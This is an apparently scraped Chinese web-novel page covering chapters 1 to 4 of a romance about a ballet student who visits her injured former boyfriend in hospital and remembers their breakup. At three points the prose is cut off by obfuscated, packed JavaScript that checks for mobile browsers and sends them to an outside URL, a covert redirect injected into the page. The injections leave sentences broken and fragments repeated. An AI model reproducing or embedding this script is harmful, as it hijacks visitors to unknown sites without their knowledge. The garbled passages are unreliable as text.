《天鹅的俘虏[GB]》 1. 消息 A国首都,云弘市。 金秋时节,云弘艺术大学的百年校庆正如火如荼的筹备着。据说为了隆重宣传,就连国家艺术协会的各位老师也会来参加,每个学院都卯足了劲,想要在庆典晚会上好好表现一番。 晚上十点,舞蹈学院顶层的排练厅依然灯火辉煌,将近十点半,才有人陆陆续续从大门结伴离开。 排练结束,年轻的女孩们累的席地而坐,开始最后的拉伸放松环节。 穆淼淼捶着自己酸痛麻木的腿,表情痛苦:“我这两条腿算是废了,奈奈,等会要不要点个宵夜?我好想吃南门的那家炒米粉!” 站在她旁边的女生身姿高挑笔挺,单腿搭在把杆上,向下躬身拉伸腿部的肌肉,动作优雅从容。 因为长时间的反复训练,她的颈部因发汗和泛着光,却丝毫不显得粘腻,盘好的发跑出几缕落在脸侧,随着她的动作微微晃动。 用眉清目秀来形容太寡淡,用貌美如花来形容又显得粗浅。 尽管已经看了将近两年的时间,穆淼淼依然觉得赏心悦目,每看一次都要暗暗感慨女娲怎么手艺如此精巧! 这样天仙似的人居然和自己是朋友,简直不要太自豪好吗! “我就不了。”奈然结束拉伸,将腿放下:“明天还要早起训练,吃了宵夜第二天脸会肿。” “也是也是。”穆淼淼点点头,“我都忘了你还要单独排练,那我只能自己享受美食了,对了,我男朋友买的蛋糕正好还在寝室放着,等会儿我要一起吃掉!明天狠狠练习,这样就不会长胖了!” 看着她一提到吃就摩拳擦掌的模样,奈然勾唇轻笑:“是谁今天早上还说再也不会吃任何甜食的?” 听到她的话,穆淼淼顿时像一只泄了气的皮球,委委屈屈:“都怪那个坏蛋非说什么吃甜的能缓解疲劳,要给我买蛋糕,本来、本来我不想吃的……” “好啦,逗你玩的,长胖点也很可爱。” “奈奈!”穆淼淼鼓起腮帮子,佯装生气:“你是故意的!” “我说的是实话。” “好吧,就当你夸我可爱了。”穆淼淼撇撇嘴,“对了,我昨天看到表演系那位又来院楼外面等你,你见到他了吗?” 提到别的人,奈然脸上的笑意淡了一些:“没有,我昨天练习到很晚,没遇到他。” “他可真是阴魂不散,你都拒绝过多少次了,家里有点破钱了不起是吧!”穆淼淼义愤填膺,“他这都算骚扰了,奈奈,你要是真觉得困扰,就和我说,咱们一起想办法治他。” 奈然莞尔,伸手摸摸她的头顶:"小水怎么这么贴心呢?" 穆淼淼挺起胸膛,像一只骄傲的小鸟:"包的!" 换衣服的时候,奈然看到了来自母亲的未接来电,让穆淼淼先回宿舍,独自来到学院后门的花园小径,找到一处长椅坐下。 重新拨过去的电话很快被接通,传来女人柔和的声音:“然然,睡了吗?刚刚怎么没接到电话?” “还没有。”奈然语调放轻,“刚结束排练。” “哎呦,怎么练到这么晚,累坏了吧?我记得你以前训练完回家最喜欢喝我给你熬的蜂蜜百合粥了,在学校能买到吗?要不要妈妈给你寄一点?” 奈然笑了:“妈,学校里什么都能买到,不过都没有你做的甜。” “就属我女儿嘴甜。”女人的声音洋溢着喜悦,“妈知道你能吃苦,但记得要劳逸结合,别累着自己,有什么事情就跟妈妈说,知道吗?” “嗯,我知道。爸呢?” “他呀,刚刚嚷嚷着背上痛,不知道去那里锻炼闪着了,这会儿才躺下,估计已经睡着了。” “您让他注意点,真伤着了要早点去医院。” “他那性格我还不清楚么,多半是装的,估计就是用健身器材的时候硌着腰了,一点大事儿没有。” 奈然被她的语气逗笑:“是么?” “先不提你爸,我这会儿跟你打电话还有一件事儿,你还记得原来住在我们家楼下,两年前搬走的孟阿姨家的那个儿子吗?” 一阵夜风经过,吹落许多枫叶,随着流动的空气荡漾摇摆,最终落地。 奈然低头,沉默地注视着偶然落到自己腿上的枫叶,半晌后开口:“记不太清了。” 电话另一端的女人没有听出她的语气变换,继续说道:“他比你大两岁,小时候你可天天追着人家哥哥、哥哥地叫,时间久了估计你忘了,那时候啊……” 知道她妈叙起旧来没完没了,奈然打断了她:“妈,是有什么事?” “哦,就是今天晚上我和你孟阿姨打电话的时候,才知道小枫今年考上了云工大的研究生,他原来不是在曙海市上大学嘛,我记得云工大就在你们学校对面是不是?然后我就跟你孟阿姨说了,没想到她跟我说这两天小枫出车祸受伤了,好像还挺严重的……” 奈然眸色一变,捏住叶柄的手指无意识收紧,声音发沉:“怎么样了?” “小枫跟他们说没事,不肯详细说,她和小枫的爸爸那边正在国外回不来,正发愁怎么办呢,我想着你离他们学校不是挺近的吗,就对她提了一嘴让你去探望一下,看看情况怎么样,小枫那孩子也算是我看着长大的,话不多,人也温和,你们两个好久没联系了吧?这周有空的话,你就去医院看看他,也让我好跟你孟阿姨有个交代。” 奈然神情莫测,若有所思。 几秒钟后,没听到她的回答,女人有些疑惑:“然然?能听到吗?” 奈然从涌上来的思绪中回神:“能听到,妈,孟阿姨有跟你说在哪个医院吗,抽空我会去的。” “哎,就在云泓市第一医院,小枫的手机号我倒是忘问了,回头我再问问你孟阿姨……” “不用了妈,我有。” 挂断了电话,奈然望着手心里的枫叶出神,罕见的有些心绪不宁。 他受伤了?会不会伤的很严重? 除了担忧以外,还有一种无以名状的悲伤,奈然清楚这股悲伤因何而来。 曾经与自己无话不谈的人,再次听到他的消息居然是从母亲的口中。 事实向她证明,他们已经分开很久,互相杳无音信,成为了完全的陌生人。 而这一切,都是因为她。 * 第二天上午,奈然一早来到学院的教室,单独练习校庆表演剧目中独舞的部分。 从她大一入学开始,就从未缺席任何一节课,每次专业课学习都是最早到的那一个,也是最为刻苦的一个,即便是一遍又一遍的重复难度动作,对身心巨大的挑战,她始终能从容面对。 更可怕的是,她与生俱来的天赋本就令人望尘莫及。 所有的专业老师一致认为,奈然的未来不可估量,她是一颗不被蒙尘的珍珠,天赋和努力俱存,她需要的,只是一步步荣誉加身,预备成为新的传奇。 因为观众较为广泛,舞蹈学院的芭蕾舞表演系在校庆晚会的剧目选择了《天鹅湖》这一经典剧目,由于时长的限制选取了第二幕和第三幕进行改编简化,大众而不失难度,而剧目中重要的角色奥杰塔和奥吉莉亚均由奈然饰演。 云艺大作为A国排名第一的艺术类大学,其中的舞蹈学院尤其著名,几乎有百分之六十的国家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在选角的时候,老师们经过一番协商,最终选定了魏丰来饰演王子。 本以为经过努力排练能改善魏丰的短处,尤其是在奈然浑然天成的情感演绎中,能调动魏丰的情绪,没想到弄巧成拙,在奈然完美的表演对比下,反倒显得魏丰更木讷,像一台没有感情的跳舞机器在围着灵动的天鹅转。 杨梦一想到这里,就苦恼不已。 可惜现在时间紧迫,距离校庆举办还剩两个星期的时间,换人也来不及了,只能祈祷魏丰哪天能突然顿悟,把自己真正放在王子的角色里,而不是配合奈然的一名男伴舞。 两个小时的练习时间很快过去,杨梦有事先行离开,留下奈然和魏丰单独留在排练厅中。 不停地排练对体力消耗很大,奈然坐在一旁做结束的惯例拉伸。 她不是没有察觉落在自己身上若有似无的目光,只不过她懒得去在意,她的所有精力几乎全部都投入在了芭蕾上。 不过,从昨天晚上开始,她分出了一小部分留给某些事情。 今天下午的合排时间在三点,现在还有三个小时的时间,要不要去呢? 奈然不动声色,垂眸盯着地面,内心却有两股不同的想法相互撕扯。 ——不要去,你当初不是已经把话说绝了吗?现在还去打扰他干什么,你不能给他想要的,而他同样也无法给你。 ——只是去看看他的伤情而已,又不是去做什么,万一他伤的很严重…… 奈然,你一定会后悔的。 2. 重逢 沉浸在自己世界里的奈然丝毫没有注意到有人靠近,直到头顶洒下一片阴影,她才后知后觉的抬起头,与靠近的魏丰四目相对。 “有什么事吗,学长?”奈然开口问道。 魏丰表情跃跃欲试,似乎等待这个机会已久:“奈然,你中午有空吗,要不要一起吃饭?东门外面新开了一家西餐厅,听说不错。” 奈然眨了眨眼,没有立即回答,其实这不是魏丰第一次邀请自己去吃饭了,只不过之前都是在周围有其他人的情况下,她找个借口就拒绝离开了。 本以为魏丰在一次又一次的碰壁下会知难而退,没想到意外的坚持。 奈然根本对他没有任何除了合作表演以外的心思,更不想浪费时间在这方面,于是直接了当回答:“抱歉学长,我还有事情,中午不能和你一起吃饭。” “呃,那明天呢?明天晚上你有空吗?” “明天晚上女生要合排。” “那后天,后天是周末,没有排练,你总该有空了吧。” 奈然站起身,在魏丰一而再再而三的追问之下,她的眼神变得冷淡:“有什么必须要一起吃饭的理由吗?” "什、什么?"魏丰一噎,莫名其妙,“想和你交个朋友而已,你也不用这么大惊小怪的吧?” “与其每天琢磨这种事情,不如多看看视频想一想怎么提升情感表达技巧。”说完,奈然不想再多逗留,转身离开。 在更衣室换过衣服,奈然看了眼时间,还不到一点钟。 她决定去医院看一看。 云泓第一医院在市中心,离云艺大有些距离,奈然打上车,花了将近半个小时的时间才来到医院正门。 刚想走进去,她忽然想起一件重要的事。 来探望病人,是不是带点慰问品比较好? 奈然很快找到附近一家水果店,挑了个好看的果篮买下,临走前热情的老板娘还塞给她三支用白色丝带系在一起的风信子。 奈然越走越觉得不对劲,她只是奉母亲的命来完成任务的,何必整的这么隆重。 她举起手中的花看了又看,最终还是没有扔掉。 按照母亲发来的地址,奈然来到住院区对应的楼栋,进入楼内坐上电梯。 一路上擦肩而过许多形形色色的人,有面色灰败的家属,也有步履维艰的病人,这让她的心情逐渐变得沉重。 尽管已经在心底告诫自己,对方既然还能和父母打电话报平安,应该不会有什么大事。可她了解对方的性格,向来报喜不报忧。 担忧的情绪在心底弥漫滋生,同时,还有某些跳动的情绪在蠢蠢欲动。 奈然努力让自己表现得平静下来,最终来到住院楼的十六层。 “1608……”奈然喃喃道,挨个查看经过的门牌。 1605、1606、1607…… 奈然的心跳慢慢地加速,亦如她加快的步伐。 午间的阳光正好,金黄色的光束透过房门上的玻璃斜斜落下,盛载着明媚的暖意。 步伐最终停下,奈然没有立即推开房门。 她隔着门视窗朝里面瞧去,有些迫不及待地寻找某个身影。 这是一件普通病房,里面有四张床位两两对放,中间各有一道帘子将其分隔开,左边的帘子展开,遮盖住了后面,只能看到靠近门的床位,白色的被子整齐叠起,没有人使用。 房间右边的帘子收束着,两张床上分别躺着人,靠窗的是一名年迈的老太太,那这边很有可能就是…… 奈然视线一滞,陡然匪夷所思起来。 两年不见,他怎么变成这样了?! 只见床上坐着一名青年,正立起桌板,对着面前的外卖盒一通扫荡,嘴角冒出的油就快要顺着下巴滴落到床面,过长的头发打成绺,遮住了眼睛,看起来至少一个星期没有清洁过了。 奈然顿时产生了拔腿就走的欲望。 就在她纠结着要不要进去时,身后传来年轻护士的声音。 “您好,麻烦请让一下。” 奈然忙错开身,为她让出门。 护士看到她的面容,稍稍的惊讶了一下,随机露出一个温和的笑容:“是来探望吗?直接进来就可以。” 奈然下意识点点头,才下定决心似的跟在她的后面走进房间。 “哎呀,你怎么又点这些重油的东西吃!”护士快步走向右边的床位,检查吊瓶,挂上新的输液瓶,“本来就是急性的肠胃炎,还不好好调整饮食。” 坐在床上的青年收起筷子,似乎有些不好意思,不再吃了。 倒是前面坐在窗边的老太太开了口:“哎呀,小程啊,你就让他吃几口吧,住了三天都瘦了一圈了。” “这怎么能行。”护士绕了一圈来到她的身边,拿起护理记录表:“您今天感觉怎么样?头还痛吗?” “还好还好。” “来,我给您测一下血压和体温。” 跟在护士后面的奈然安静的看着她们交流,不经意间朝旁边的青年看去。 奈然看不清他的脸,总觉得眼前的人不像,难道对方已经出院了? 正当她犹豫着要不要直接问时,一旁的护士检查完老太太的血压,将数值记录在表,突然转身朝左边的帘子后面迈步:“我来……” “嘘、嘘——”老太太拍拍她的胳膊,压低了声音:“昨天晚上看书看到大半夜,今天一早起来忙里忙外,刚刚才睡着。” 护士犹豫了两秒,最终妥协:“好吧,那我半小时后再来。” 说完,她带着记录表转身离开,经过奈然身边时点了点头示意。 奈然正想问她病房里有没有姓沈的人,被身后小声的呼唤打断。 “小姑娘?小姑娘!” 奈然回头看去,那名老太太正满面笑意招手示意她过来。 她迈步走近,听见对方说:“好漂亮的小姑娘,你是来看小沈的?” 这句话为奈然解决了困扰,她连忙点点头:“嗯,他在吗?” “我就说嘛。”老太太指了指另一边:“他在呢,刚刚睡着,我看这孩子是真的累了,浑身五花大绑似的也闲不下来。” 听到“五花大绑”一词,奈然心重重跳了一下,立即转身,越过拉上的隔帘望去。 阳光被纯白的被面反射,晃了眼睛,奈然却没有挪开视线。 窄窄的单人床中央躺着一个人,他穿着浅蓝色条纹的病服,睡姿相当端正,两条胳膊摆在身前,袖口边缘露出被夹板固定着的手腕。 宽大的病服把他衬托得有些消瘦,记忆中得面容丝毫未变。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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算了,既然来了,干嘛做贼心虚似的逃走。 奈然决定多留一会,她看了一眼窗边除了自己放上去的果篮空空如也的桌台,打算先下楼买两份午餐回来,正好自己也还没有吃饭。 告知了老太太之后,奈然离开病房,找到医院提供的食堂,买了两份餐,装在一起拿了上来。 再次来到病房门前,奈然听到里面传来的对话声。 “小沈,你醒啦?” “嗯,王奶奶,你吃饭了吗?” “吃了吃了。” 透过玻璃,奈然看到了熟悉的侧脸。 和记忆中一样,他的脸上总是带着清浅的笑意,目光温柔,仿佛能包容一切。 可奈然见过这双眼睛充满了悲伤的模样,光是望着,便觉得心如刀割。 里面的两人还在交谈。 男生想下床,转头却看到自己床头边精致的果篮,一旁还放着盛开的风信子花枝,隔着距离就能闻到属于水果和花枝的香气。 见他发呆,王奶奶笑了起来:“来了个小姑娘,这是带给你的。” “给我的?她走了吗?” “没呢,说是给你买饭去了……” 男生却像是梦中惊醒了一般,着急下了床,由于右腿还打着厚厚一层石膏,只能单脚站立,他拿过床边立着的拐杖,就要往外走:“我去找他……” “哎,小沈!” “吱呀——” 门被推开的声音终止了房间里的所有话语。 奈然走进房间,注视着因她而颤动的眼睛,朝着他一步步靠近,直至一步之遥。 “好久不见,沈临枫。” 3. 过往 时隔两年,再次喊出这个名字,奈然心中超乎寻常的平静。 当沈临枫真正站在她面前时,才发现他似乎没怎么变化,倒是自己似乎又长高了一些,不再是从前那个一生气就要埋在哥哥胸口前撒气的小女孩了。 她和沈临枫从小认识,住的近,某段时间还在同一所学校上过学,他的存在几乎伴随了她整个青春时代。 也正是因为有他,那些属于青涩时期的煎熬与迷惘,都没有那么难熬。 不过,这还是她第一次见哥哥这么狼狈的模样。 右腿裹着厚厚的石膏,没办法顺利行走,另一只脚匆匆套上鞋,来不及提起鞋跟,右手手腕同样被固定在挂身前,只能用左臂架着拐杖,一步一步往前挪。 病服的扣子开了一颗,露出一半锁骨,颈侧也有大片的擦伤,已经结了深色的痂。 所幸头部看起来没有受伤的痕迹,这让奈然松了口气。 “我买了饭,一起吃吧。”奈然扬起手,向他示意。 沈临枫却丝毫不像她这般从容,他有些不安地张了张嘴,想说些什么,意识到自己现在的状态,把受伤的右手和右腿有意无意向侧面偏了偏,不想让奈然看到自己狼狈的模样。 “然……”沈临枫几乎要脱口而出从前的亲昵称呼,幸好及时止住了话音,改道:“奈然,你怎么来了?” “听说你受伤,所以我就来了。”奈然一派坦然,将手里的餐盒放到桌面上,“先吃饭吧。” 沈临枫欲言又止,撑着身子来到桌旁,找了一个位置坐下,双眼始终没从奈然的脸上移开。 他甚至觉得现在也许是在做梦,不然奈然怎么会毫无征兆地出现在他面前? “你长高了,奈然。”沈临枫突然开口,在奈然看过来时露出温暖的笑意,“长大了,变得更漂亮了。” 被他眼中纯净的情感闪了眼睛,奈然不自在地别开视线,不知为何竟不敢和他对视,低低“嗯”了一声算是回应:“要不是妈妈告诉我,我还不知道你考到了云工大。” “抱歉……因为第一学期课程比较紧,没有来得及告诉你。”沈临枫道。 这句话是撒谎,自从来到云泓市,他不止一次在云艺大的门口徘徊,在手机里无数次寻找奈然的名字,却生怕打扰到她而没有行动。 实际上,他之所以选择考云工大的研究生,正是因为奈然,心想这样可以离她更近一些,也许他们有机会能偶然相遇。 但命运就是这么喜欢捉弄人,即使已经离得这样近,他从来也没有偶然碰到过奈然。只有一次,在云艺大新生欢迎会的当天,他早早来到观众席的最后一排,从开始等到结尾,终于在台上看到了奈然。 她作为芭蕾表演专业的优秀代表学生,为同专业的新生发表欢迎致辞。 那天的奈然穿了一件黑色的鱼尾长裙,冷艳动人,气质出挑,表现从容,裙面上点缀的碎钻在聚光灯下熠熠生辉,吸引了所有人的目光。 在自己没有看到的日子里,她变得更加成熟。 沈临枫想起五年前,奈然在参加全国青少年芭蕾舞比赛时,一路成功晋级,要去青林市参加决赛。 当时她的父母都需要工作,抽不开时间陪她一起,虽然学校专门安排了舞蹈老师陪同参加,但奈然还是觉得不安,那是她第一次在众多有名的专业老师面前表演。 于是沈临枫做了一个在当时看来相当出格的决定,他自行向学校老师请了假,买了一张车票,独自来到青林市,在举办活动的酒店旁边找了一家旅馆住下,只为在比赛时让奈然能一眼看到自己在台下,也许她会更有信心。 而奈然和他预想中一样,在比赛上表现出色,赢得了所有老师的掌声,拿到了毋庸置疑的第一。 那天奈然开心地捧着奖杯在他面前转了又转,像只雀跃的小鸟,讲了好几遍多亏哥哥能来看自己比赛。 其实沈临枫知道,不管他来或不来,奈然都只会是第一,因为她练习芭蕾究竟有多刻苦,他心知肚明。 光是看着就困难的立足尖动作,奈然早在十岁的时候就能轻松完成。 越是看起来轻而易举的事情,背后就越伴随着苦痛,最严重的一次,趾甲因长时间的足尖练习整片脱落,在新趾甲长出来之前无法进行任何足尖动作,即便如此,奈然依旧没有落下其他的练习。 奈然很优秀,是他见过最勇敢,也是最坚强的人。 他被她的所有美好品质所吸引,小的时候,他只觉得这个邻居家的妹妹可爱的有些过头,让人不自觉想要保护她,可随着年龄的增长,这份喜爱在不知不觉中变了质。 直到上了大学,他才意识到这份感情,出于内心的不安,他不得不刻意与奈然拉开距离,再加上去别的城市上了大学,见面的机会就更少了。 那时的他完全想不到后来自己会和奈然在一起,也无法预料这段梦幻般的关系会在短短不到一年的时间里瞬间破碎。 他早已退出了奈然的人生舞台。 “是不合胃口吗?” 奈然的声音打断了沈临枫复杂的思绪,他摇摇头,拿起筷子:“不是的,看起来很好吃,麻烦你了,奈然。” 见他这副小心翼翼的模样,奈然心里有些不是滋味,沉默着没有回应。 气氛一时冷却,王奶奶察觉到了这点,主动开口圆场:“你们两个是同学?还是朋友?” 奈然动作一顿,正思考要怎么回答,沈临枫先一步开口:“是我妹妹。” “哎呦。”王奶奶笑得捂住嘴,“怪不得呢,兄妹两个长得都这么好看。” 沈临枫暗自懊恼自己嘴巴太快,不得不解释道:“不是亲兄妹。” “表兄妹呀,那也有家族基因在的嘛。” 沈临枫抿唇,继续解释下去好像有些欲盖弥彰,他瞄了眼旁边淡定吃饭的奈然,不再言语,笑了笑算是回应。 一顿饭吃的相当平静,奈然和沈临枫都有些心不在焉。没再过多的交流,直到吃过饭,王奶奶和另一个男生开始午后休息,沈临枫才迟疑着低声开口:“我们……出去聊聊可以吗?” 奈然看了一眼时间,点了点头。 其实她也有许多话想要问,只不过现在时间有限,话到嘴边又不知该从哪里开始。 沈临枫说知道这一层哪里有比较安静的地方,奈然便跟在他身后慢慢地走。 由于受了伤,沈临枫的速度很慢,动作却有些急躁,似乎是有意想要保持正常的速度行走。 突然,对面一行人浩浩荡荡围着推床疾步而来。 “让一下、让一下!” “求你了,医生,你一定要救他啊!” “呜呜呜爸爸……” 住院楼的走廊本就拥挤,需要急救的病人等不了任何多余的时间,不得不强行穿越拥挤的人群,像是在和死神争分夺秒。 沈临枫下意识想要向旁边避开,可对面冲过来的速度太快,他此时行动又比平常迟缓许多,还没来得及完全错开,肩膀被追赶的家属撞到。 对方的力度不小,此时一心一意在危急的亲人身上,顾不上别人,跟着人群头也不回匆匆离去。 沈临枫猝不及防,受伤的右腿无法借力,踉跄着向后跌去。 就在他以为要狼狈摔倒时,身后忽然抵上一股力量,让他稳住了身形。 “你没事吧?”奈然扶着他重新站好,向前迈了一步站在沈临枫的左手边,将他与形色匆匆的人群隔开。 沈临枫摇摇头,声音轻而低:“谢谢,我没事,前面就到了,很快。” 他特地强调了“很快”两个字,生怕耽误了时间,更加卖力地加快了速度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15003075|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 奈然倒是没有注意到这一点,还在思考沈临枫究竟会跟自己说什么。 难道是要问她当年的事情吗? 奈然蹙起眉,遇到了难题。 因为一些自身的原因,她并不想解释太多,虽然知道这样对沈临枫不公平,可她别无选择。 出于私心,她无法表达出全部的想法。 沈临枫所说的安静的地方,是走廊尽头的一片露台,打开门,接触到外面凉爽的空气,奈然心中的压抑缓解些许,转头看向身边的沈临枫。 他是不是穿的太少了? 单薄的病服衣角随着风来回飘荡,令奈然恍然回到了两年前的那天晚上。 寒冬的夜晚,持续了一天的大雪将整个世界覆盖成纯白色,临近过年,街道上的氛围十足,两边的行道树都挂上了红色的灯笼,散发着暖融融的光。 北阳市近几年旅游行业发展势头很猛,即便是距离除夕仅剩一天的日子,市中心商业区的街道上依然热闹非凡,大部分的商铺都不放假,举办着庆祝春节的活动。 “然然,你真的不去?”万玉玲朝紧闭着的房门喊道,试着用手敲了敲门,放轻了声音:“你舅舅舅妈那边已经做好饭了,就等我们过去了,他们老是念叨着想见见你呢。” 房门内,没有开灯的房间漆黑一片,紧闭着的窗帘偶尔闪出几抹远处烟花绽放的明辉。 奈然懒懒地趴在被子里,声音有气无力:“妈妈,我有点不舒服,就先不去了,你们去吧,替我向舅舅和舅妈问好。” “你……”万玉玲还想劝说,被一旁的奈文谦打断。 “哎呀,孩子不想去,你就别管她了,好不容易在家休息两天。” 万玉玲双眼一斜,看着他当和事佬的模样就来气:“哪儿都有你的事情!” “我怎么了?”奈文谦觉得无辜,为了稳住事态,揽住她的肩膀往外走:“行了行了,大过年的置什么气,我们走吧,别让人等急了。” 出门前不忘喊了一句:“然然,我们走了,有什么事情给我们打电话!” “知道了。” 随着外面关门的声音落下,家中瞬间变得安静,外面烟花炮竹的声音时断时续,倒驱散了几分寂寥。 为了不去想一些事情,奈然闭上了眼睛,强制自己睡下,企图在梦境中寻找片刻的安宁。 放在枕边的手机屏幕亮了又灭,反反复复,白色的消息提示越来越多,频率逐渐下滑,最终归于平静。 不知睡了多久,再次醒来的时候,周围环境依旧昏暗,家里静悄悄的,万玉玲和奈文谦都还未归。 奈然深吸一口气,一把抓过手机,解锁屏幕,画面还停留在与沈临枫的聊天内容界面。 故意忽视掉上面沈临枫发来的数十条消息,她的目光短暂在两个小时前的最后一则消息停留了片刻。 哥哥:然然,我先在回去,有空的话,可以见一面说吗? 哥哥:楼下等你。 两个小时前的消息,现在大概早就离开了吧。 看着上面的话,奈然叹了口气,既有无奈也有歉疚,在输入框内打了一段长长的话,却又全部删掉,重新缓缓输入。 不正常的人是她,无法接受的也是她,自己不该继续影响他的生活轨迹。 她了解沈临枫,深知他的性格和脾气,如果自己不能狠下心来,恐怕对方只会觉得他们之间还有回转的余地,不论对错都会不断放低自己的姿态,祈求原谅。 可他根本什么都没有做错,不需要道歉,也不需要讨好。 自己应该更绝情一点,最好能让他讨厌你才好, 奈然咬唇,看着自己早已编辑好的话,内心挣扎。 最终,她指尖轻颤,点下了发送键。 ——沈临枫,我们分手吧。 4. 分别 消息发过去后不到一秒钟,上面立马显示出对方正在输入中的状态。 奈然紧盯着屏幕,像是在等待着最后的审判。 可沈临枫的回应迟迟不来,倒是正在输入的状态一直没有停过。 过了将近五分钟的时间,才跳出一句简短的话。 哥哥:能告诉我原因吗? 然:抱歉,我不太想说。 这句话发出去后,对面很长一段时间都没有回应。就在奈然以为沈临枫不想再和她沟通时,聊天界面忽而亮起。 哥哥:我明白了,如果这是你想要的,我答应你。只是我有个最后的请求,可以吗? 然:什么? 奈然从床上坐起了身,用被子将自己紧紧裹起,只露出眼睛,在看到沈临枫发来的肯定回答,她的泪水再也无法控制,争先恐后夺眶而出。 她于黑暗中沉默着流泪,发出去的话语看起来却十分冷酷无情。 哥哥:我买了新年礼物想送给你,这是我……最后的请求,以后我不会再打扰你。 然:你在哪? 哥哥:楼下。 “唰!”奈然猛地从层层紧缚的被子中间站了起来,大步冲进卫生间,将冰凉的水轻泼在脸上,洗去满面的泪痕,抬头看向镜子里的自己,检查还有没有哭过后的迹象。 迅速换上外衣,抓起桌子上的钥匙出了门,几乎是三步并作两步坐上了电梯下楼。 跑出单元门后,奈然左右张望着,目光在一处灯光下定格。 天上不知何时又开始飘起了小雪,庭柱灯下站着一道欣长的身影。 奈然快步走过去,看到沈临枫肩膀和头顶的一层落白,就知道他一定从两个小时前等到现在。 想到这里,奈然不可避免有些生气,但更多的是心疼。 听到她的脚步声,站在灯下的男生抬起头,与她视线交汇。 零下七八度的天气,任谁站在一个地方两个小时都会觉得难熬,沈临枫的鼻尖通红,嘴唇的颜色却比平日愈发浅淡。 “你是不是傻,没收到消息就先回家啊,干嘛站在这里干等。”奈然正欲顺手帮他把头顶的积雪拂开,伸出去的手忽然停下,想起他们已经不再是从前的关系,失落垂下。 沈临枫转过身面对她,双眼却看向地面,脸上一贯的笑意此时莫名惨淡,他的语气依旧温柔:“出门走太急没有带钥匙,没事的。” “哦,这样。”奈然干巴巴的接话。 沉默的气氛陡然蔓延,面对面站着的两个人谁也没有看向对方,各怀心事。 自从意识到自己的异常,奈然在心里挣扎了很长的时间,她不想失去沈临枫,可同时也很迷茫,不知道该如何解释,甚至产生了一种自我厌弃的心理。 她渴望像其他女孩子一样继续和沈临枫交往,可是她内心深处莫大的恐惧和厌恶吞噬着她。 奈然不知道该怎么开口,难道要向沈临枫直接说她没办法和他做除了接吻以外的任何事情,所有男女之间进一步的亲密行为都让她想要拒绝。 她很讨厌,也很害怕。 甚至往远处想,她不愿意怀孕,也不愿意生小孩。 一开始,奈然以为这种想法只是心理上天真的想法,可随着她一遍遍想要说服自己,却又一次次失败后,她发现这不是光凭改变想法就能解决的事情,她在生理上就反感着这种事情。 她知道如果和沈临枫坦白这件事情,对方必定会答应自己,顺着她的意思。 可这样干涉到他的人生真的正确吗?她得到了一些,沈临枫就必定会失去一些,何况她的自尊无法容许未来的某一天,沈临枫也许会因为这件事情与她分开。 与其任由事情发展到最坏的结果,还不如趁早了结。 奈然下定决心的事情,没有任何人能够动摇,沈临枫也不例外。 安静的气氛持续了半分钟的时间,沈临枫终于率先开口:“然然,我可能……要搬家了,搬去曙海市。” “什么?”奈然如梦初醒,勉强挤出一个不怎么真心的笑容:“这不是挺好的么,你正好在曙海上大学,这样也不用每次放假都抢车票回来了,离家很近。” “嗯。”沈临枫的声音几乎低到听不见,“年后就搬。” “哦,那是挺快的。”奈然抿唇,喉间莫名酸涩。 看着面前低着头一言不发的女孩,沈临枫一时竟不知道该如何开口。 早在两个月前,他就察觉到奈然的反常,聊天的频率越来越低,有时他的消息发出去一个星期都没有任何回应。他以为奈然是因为集训太累,没时间回应,便想着不去打扰她。可后来察觉到奈然事事回避的态度,才知道事情并没有他想象中那样简单。 不光是奈然,沈临枫也是头一回与一个女孩子交往,他心里一样的不安,对日益糟糕的情况毫无头绪。 他尝试和奈然道歉,询问自己是否哪里做的不对,可奈然却说他没有错。 事情到底为什么会变成现在这副摸样?沈临枫不知所措。 想不明白,他只能把原因归咎于自己没能让奈然感到开心,明明是考前最苦最累需要安慰的日子,他却没办法陪在她的身边。 几个月前心意相通时有多欢喜,现如今就有多伤心。 在手机上看到那句分手的消息时,他几乎难以呼吸。 完完全全搞砸了,沈临枫。 他打了许多不同的字。 ——然然,我错了,能不能先不要分手? ——是我哪里没有做好吗?我会改掉的。 他反反复复地删除重新输入。 ——我不答应。 ——最起码,告诉我一个原因。 这些话他都没能发出来,一味的纠缠只会更让对方厌烦。 他看着奈然身上单薄的衣服,下意识想把身上的外衣给她,却立刻反应过来自己似乎已经没有立场这么做了。 沈临枫攥着的手紧了紧,将手中提着的礼物袋递到奈然面前:“这是给你的新年礼物,本来想明晚跨年送给你,不过明天我有事情要回老家一趟,没有办法来了。” “这是什么东西,很贵重吗?很贵的话,我就不要了。”奈然没有立马伸手去接,抬眼看向沈临枫。 望着她漂亮的眼,沈临枫露出一个略带苦涩的笑:“不贵的,只是我的一点心意。” 精致的手提纸袋上面没有表明任何文字信息,颜色是奈然最喜欢的浅粉色,袋子提手下方绑着一枚黑色的蝴蝶结,里面是一个方形的礼盒。 奈然猜不准这是什么,或许是一件裙子?也可能是香水? 可她现在天天都要泡在舞蹈教室里面,根本没办法精心打扮,每天只有被汗水浸湿的体操服和早已磨破的足尖鞋。 她不觉得这些痛苦,因为自己正在向着梦想一步步努力,这是她的必经之路。 “我知道了。”奈然点头,伸手接过礼袋,“我会好好保管的。” “你……”沈临枫欲言又止,挽留的话到了嘴边变成相反的意思:“穿的太少了,快回家吧。” 他对分手的事情只字不提,像是在逃避着现实,奈然却不想这么不清不楚的结束:“哥哥……沈临枫,我们分手吧。” 